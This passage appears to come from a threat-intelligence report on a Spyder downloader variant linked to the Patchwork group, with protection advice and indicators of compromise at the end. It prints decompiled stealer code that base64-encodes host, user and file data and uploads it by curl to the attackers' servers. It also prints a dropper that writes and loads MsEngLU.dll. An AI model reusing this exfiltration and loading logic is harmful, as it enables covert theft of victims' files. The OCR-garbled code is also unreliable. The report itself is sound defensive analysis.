sub_10001350(v5, FindFileData.ftLastWriteTime.dwlLowDateTime);

FirstFileW = wv9;

The file information is stored in the local database "%APPDATA%\Microsoft\Windows\Libraries\policy.db"
in SQLite format.

14A9B6
14A9B7
14A%B8
14A9B9
14A9BA

db  28h .| {

db  28h 37 FileW = CreTea ! %

db ] 38 HriteFile(Filek,
db Q 39 CloseHandle(Filel);

db 2] 40| 1

= 0x19000000u, 1lu, O, Zu, @x80u, 0);

0%3800u, &NumberOfBytesWritten, 0);

Finally the data is returned to "hxxp://93.95.230.16/domcomtwit/hen.php".

144904, align 1@h 28

14A9A db 'sQLite format 3',80 29| SHCetKnownFolderPath(&rfid, @, @, &var_folder_Libraries);// "%APPDATA%\Microsoft\Windows\Libraries"
14A9B8 ah 38| wB = lstrlenW({var_folder_Libraries);

14A9B1 db 31| w1l = (WCHAR *)Globalalloc(@x4@u, 2 * vB + 128);

14A9B2 db 1 32| war_folder_Desktop = vi;

14A9B3 db 1 33| lstrcpyW(vl, var_folder_Libraries);

14A9B4 db 3] “\& Istrecathgvl, L"\\policy.db");

14A9B5 db 48h ; @ 35 < 'PathFileExistsh{vi) )
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g_cmp_name_encéde = Béseﬁ4Encode((char #3y5tring, 2 * wvil);

83

84 w12 = Llstrlenl({v25);

85 g_user_name_encode = Base64Encodef{char *)jw25, 2 * vi12);

86 sub_10806C878(¢g_db_1814E8C8, (int)"SELECT * FROM _loads WHERE _uploaded=8", -1, (int)&vi15, 8);
87 while ( sub_18055818(v15) == 188 )

88

89 w13 = (const WCHAR *)sub_188558608(v15, 1);

a6 J/ request to C2

91 Fub_1886C870(g_db_1014E8C8, (int)"UPDATE _loads SET _uploaded=1 WHERE _file=?", -1, {int)&var_folder_Desktop, 8});
a2 lsub_18054780¢ (int)var_folder_Desktop, 1, (intyvi3, -1, -13;

a3 sub_18069CCO({ag_db_1014E8C8, (int)"COMMIT", @, @, (int)&var_folder_SkyDrive);

94 sub_180855818(¢var_folder_Desktop);

a5 sub_18055048( (int)var_folder_Desktop);

a6 1

35 if ( vid )
{

37 sub_18002CBA({v19, &v18, 1, "compname", 4, g_cmp_name_encode, 173;

38 sub_18002CBO(v19, &v18, 1, "username", 4, g_user_name_encode, 17);

39 v6 = LpFileName;

48 v7 = Lstrlenk{LlpFileName};

41 lpStringa = (WCHAR *)Base6d4Encode({char *)LlpFileName, 2 * v7);

4z sub_18002CBO(v19, &v18, 1, "filepath", 4, 1pStringa, 17);

43 FileNameW = PathFindFileNamel{v6};

44 vl = Lstrlenk{FileNamel};

45 vi® = (void *)Base6dEncodef{{char *)FileNamel, 2 * v3);

46 sub_18002CBE(v19, &v18, 1, "KMvBwHSvKAVCkKIhn", 12, w4, 13, w15, 16, v10, 14, "applicationfoctet-stream”,
47 sub_18007388(v14, 18802, (char)"http://93.95.230.16/domcomtwit/hen.php"};
48 sub_18007388(v14, 47, 13;

49 sub_18007388(v14, 108824, v19[0]1);

508 vll = sub_18881F48(v14);

51 if ( vil )

52 {

53 v13 = sub_10883518(vi1l);

54 v12 = sub_10184CDA(2);

55 sub_18801810{v12, "curl_easy_perform() failed: %s\n", v13};

56 1

Traceability links

The discovered Spyder variant still has many features of the previous Spyder sample“’z] , including:

17);

XOR decryption strings, setting multiple scheduled tasks, organizing communication data in JSON string
format, obtaining encrypted compressed package information from C2 servers before downloading the

compressed packages and decrypting them, and so on.

The Spyder variant is associated with a number of similar samples, and the time of program creation

shows that such variants have been in use since at least March.

MD5 Compile time C&C
887d76e305d1b2ac22a83a1418a9fc57 2024-03-14 14:47:01 utc 10p1.shop
47b4ed92cfc369dd11861862d377ae26 2024-04-05 14:09:32 utc firebaseupdater.com
0dc0816bd46f3fe696ed0a2f1b67cfa8 2024-04-25 17:10:20 utc firebaseupdater.com
e8a9b75c5e41f6d4afof32c11d0057cb 2024-04-25 17:10:20 utc firebaseupdater.com

lstrepyA(&ag_struct_4C4668-=str_version, "0.0.0.1");

v19 = g_struct_4C4668;

w1l = Lstrepyl;

g_struct_4C4668-=dwordld = 8;

lstrcpyW( (LPHSTR)Vv19-=wstr_host, L"l@pl.shop");
lstrepyW(&a_struct_4C4668-=wstr_url_dir, L"fares/");
lstrepyl(&g_struct_4C4668-swstr_url_path, L"pencil.php");

lstrcpyl(&g_struct_4C4668-=wstr_mutex, L"nalU3bTZgsHROFIe"};

vZ0 = g_struct_4C4668;
g_struct_4C4668-=sleep_time = 4000;
lstrcpyA( (LPSTR)&V2ZD-=>char69C, "ZXF");
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LstrcpyA((LPSTR)(dword_458180 + 4), "1.0.0.1");

*(_DWORD *)({dword_458188 + 28)
LstrcpyW({ (LPWSTR)Y(dword_458188

24y, L"firebaseupdater._com"};

-
LstrcpyW( (LPWSTR)(dword_458180 + 536), L"/fgandalf/");
-

lstrcpyW{ (LPWSTR){dword_4581808

*(_DWORD *)(dword_458180 + 1568) = 4006;
v112 = LlstrlenA((LPCSTR}(dword_458186 + 4)):

1848y, L"cane.php");
LstrcpyW{ (LPWSTR)Y{dword_458188 + 1564), L"yXXUKLWPEKQWBhto");

According to MsEngLU.dll released by RstMwService.exe can be associated with another identical file-
stealing software (MD5: 339ce8f7b5f253f2397fc117f6503f1f), which returns the file information with the
URL "hxxp://89.147.109.143/lightway /hex.php".

if ( vid )
{

1

sub_1e00082CBB(v19, &vi18, 1, "compname", 4, dword_1014E8D8, 17);
sub_10082CBO(v19, &v18, 1, "username", 4, dword_1014E8CC, 17);
ve = 1lpFileName;

vi = lstrlenk{LlpFileName);

lpStringa = (WCHAR #*)sub_10001840(lpFileName, 2 * w7);
sub_leeezcBa(v19, &vig, 1, "filepath", 4, lpStringa, 17);
FileNameW = PathFindFileMNamel(vE};

vl = Llstrlenk{FileNamel};

vi@ = (void #)sub_108001048(FileNamel, 2 * v9);

sub_10882CBO(v19, &v18, 1, "KMvBWHSVKAVCKIhn", 12, w4, 13, v15, 16, vi®, 14,

sub_1e007388(v14, 18002, (char)"http://89.147_189_ 143/lightway/hex_php");
sub_1ee87388(v14, 47, 1);

sub_leee73se(vid, 18024, v19[0]);

vil = sub_10001F48(vi1d);

if ( vil)
v13 = sub_18803510(¢vi11);
w12 = sub_18104CDA{2Y;
sub_1e001018¢v12, "curl_easy_perform{) failed: %s\n", vi13);

1

sub_10001ECO(v14);
sub_10882CDB(Vv19[0]);
sub_10107504( LpStringa);
sub_101875D4(v10);

"applicationfoctet-stream”,

Release a sample of this steganography software (MD5: €19e53371090b6bd0e1d3c33523ad665)

likewise save it as MsEngLU.dll file in the INTERNET_CACHE directory and call its export function

DriveBackup.

17);
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strcpy(vil8, "xr8cgp7BEbNTKgnSawSHDL&IQWuzYh3t");
memset{pszPath, @, Ox18600uY; _
SHGetFolderPathl(®, ., B, B, pszPath);
lstrcath{pszPath, L"\\MsEngLU._.d1l1"};

FileW = CreateFilell{pszPath, Ox10000088u, 1lu, @, Zu, @xB0u, @);
{ FLLEW 1= (HANDLEY-1 )

sub_48143@(vd, (unsigned __int8 #*)wild); /!l decrypt content
WriteFile(FilelW, g_content_415880, @x157FABu, &NumberOfBytesWritten, @);
CloseHandle{FilelW);

ThreadLocalStoragePointer = (int #)NtCurrentTeb()-=ThreadlLocalStoragePointer;
w19 = @x1Z1E1FGAFDF4ESAZLGY ;

w20 = OXEBEDEEEC;

VT *ThreadLocalStoragePointer;

va *f_DWORD #)(*ThreadLocalStorageFPointer + 168);

if ( (vB & 1) == 8 )

{

vl = v19;
E(_BYTE #*){v7 + 164) = 1;
#(_DWORD *3({v7 + 168} vd | 1;
w10 = v2iB;
E(_QUWORD *3({wv7 + 152
#(_DWORD *3({wv7 + 1o@)
__tlregdtor(sub_400800);
T
w1l = wi + 152;
if ( *(_BYTE *)(w7 + 164) )
{

ve;
w1 ;

w19
w12
w17
do

{

aiod;
a;
a;

*(_BYTE #*3)(v12 + v11) ~= 8x717F5DOFSBODSBETui6d == (8 * (v1Z & 7));
v13 = (__PAIR64__ (v17, vi12++) + 1) == 32;
w17 = wil3;
1
while ( __PAIRG4__ (w13, w12} = GxC ); Jf "DriveBackup"
*(_BYTE #*)(v1l + 12) = @;
ks
Libraryl = LDadLibraryH{pazﬁath};
ProcAddress = (void (#){void))CetProcAddress({Libraryl, (LPCSTR)v11);
ProcAddress();

Summary

Another update to Spyder indicates that the downloader has become a common tool for the Patchwork
group. The two steganographic components are downloaded separately and perform different functions,
reflecting the modular structure of the attacker's arsenal. The subsequent components captured so far
function as screenshots and file information collection, and are likely just the tip of the iceberg in terms of
the types of payloads that are being downloaded, as the attackers are fully capable of selectively taking
further action against high-value targets based on the information collected.

Protection recommendations
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QiANnXin Threat Intelligence Center reminds users to beware of phishing attacks, do not open links from
unknown sources shared on social media, do not click on email attachments from unknown sources, do
not run unknown files with exaggerated titles, and do not install apps from unofficial sources. do timely
backup of important files and update and install patches.

If you need to run and install applications of unknown origin, you can first use the QiAnXin Threat
Intelligence File Depth Analysis Platform (https://sandbox.ti.qianxin.com/sandbox/page) to make a
judgment. Currently, it supports in-depth analysis of files in various formats, including Windows and
Android platforms.

Currently, the full line of products based on the threat intelligence data from the QiAnXin Threat
Intelligence Center, including the QiAnXin Threat Intelligence Platform (TIP), SkyRock, SkyEye Advanced
Threat Detection System, QiAnXin NGSOC, and QiAnXin Situational Awareness, already support the
accurate detection of such attacks.

I0C

MD5 689c91f532482aeff84c029be61f681a
887d76e305d1b2ac22a83a1418a9fc57
47b4ed92cfc369dd11861862d377ae26
0dc0816bd46f3fe696ed0a2f1b67cfa8
e8a9b75c5e41f6d4af9f32c11d0057¢cb
7a177efOb1ce6f03fad24becfb9d37ac
85d0f615923af8196fa7d08ef1c68b64
e19e53371090b6bd0e1d3c33523ad665
c568d613ba74fd6cd5da730f6ce38626
339ce8f7b5f253f2397fc117f6503f1f
C&C onlinecsstutorials.com

I0p1.shop

firebaseupdater.com

93.95.230.16:80

89.147.109.143:80

URL hxxp://onlinecsstutorials.com/soup/pencil.php
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hxxp://onlinecsstutorials.com/soup/download.php?mname=
hxxp://onlinecsstutorials.com/soup/upsman.php
hxxp://I0p1.shop/ares/pencil.php
hxxp://I0p1.shop/ares/download.php?mname=
hxxp://ffirebaseupdater.com/gandalf/cane.php
hxxp://ffirebaseupdater.com/gandalf/download.php?mname=
hxxp://93.95.230.16/domcomtwit/hen.php

hxxp://89.147.109.143/lightway/hex.php
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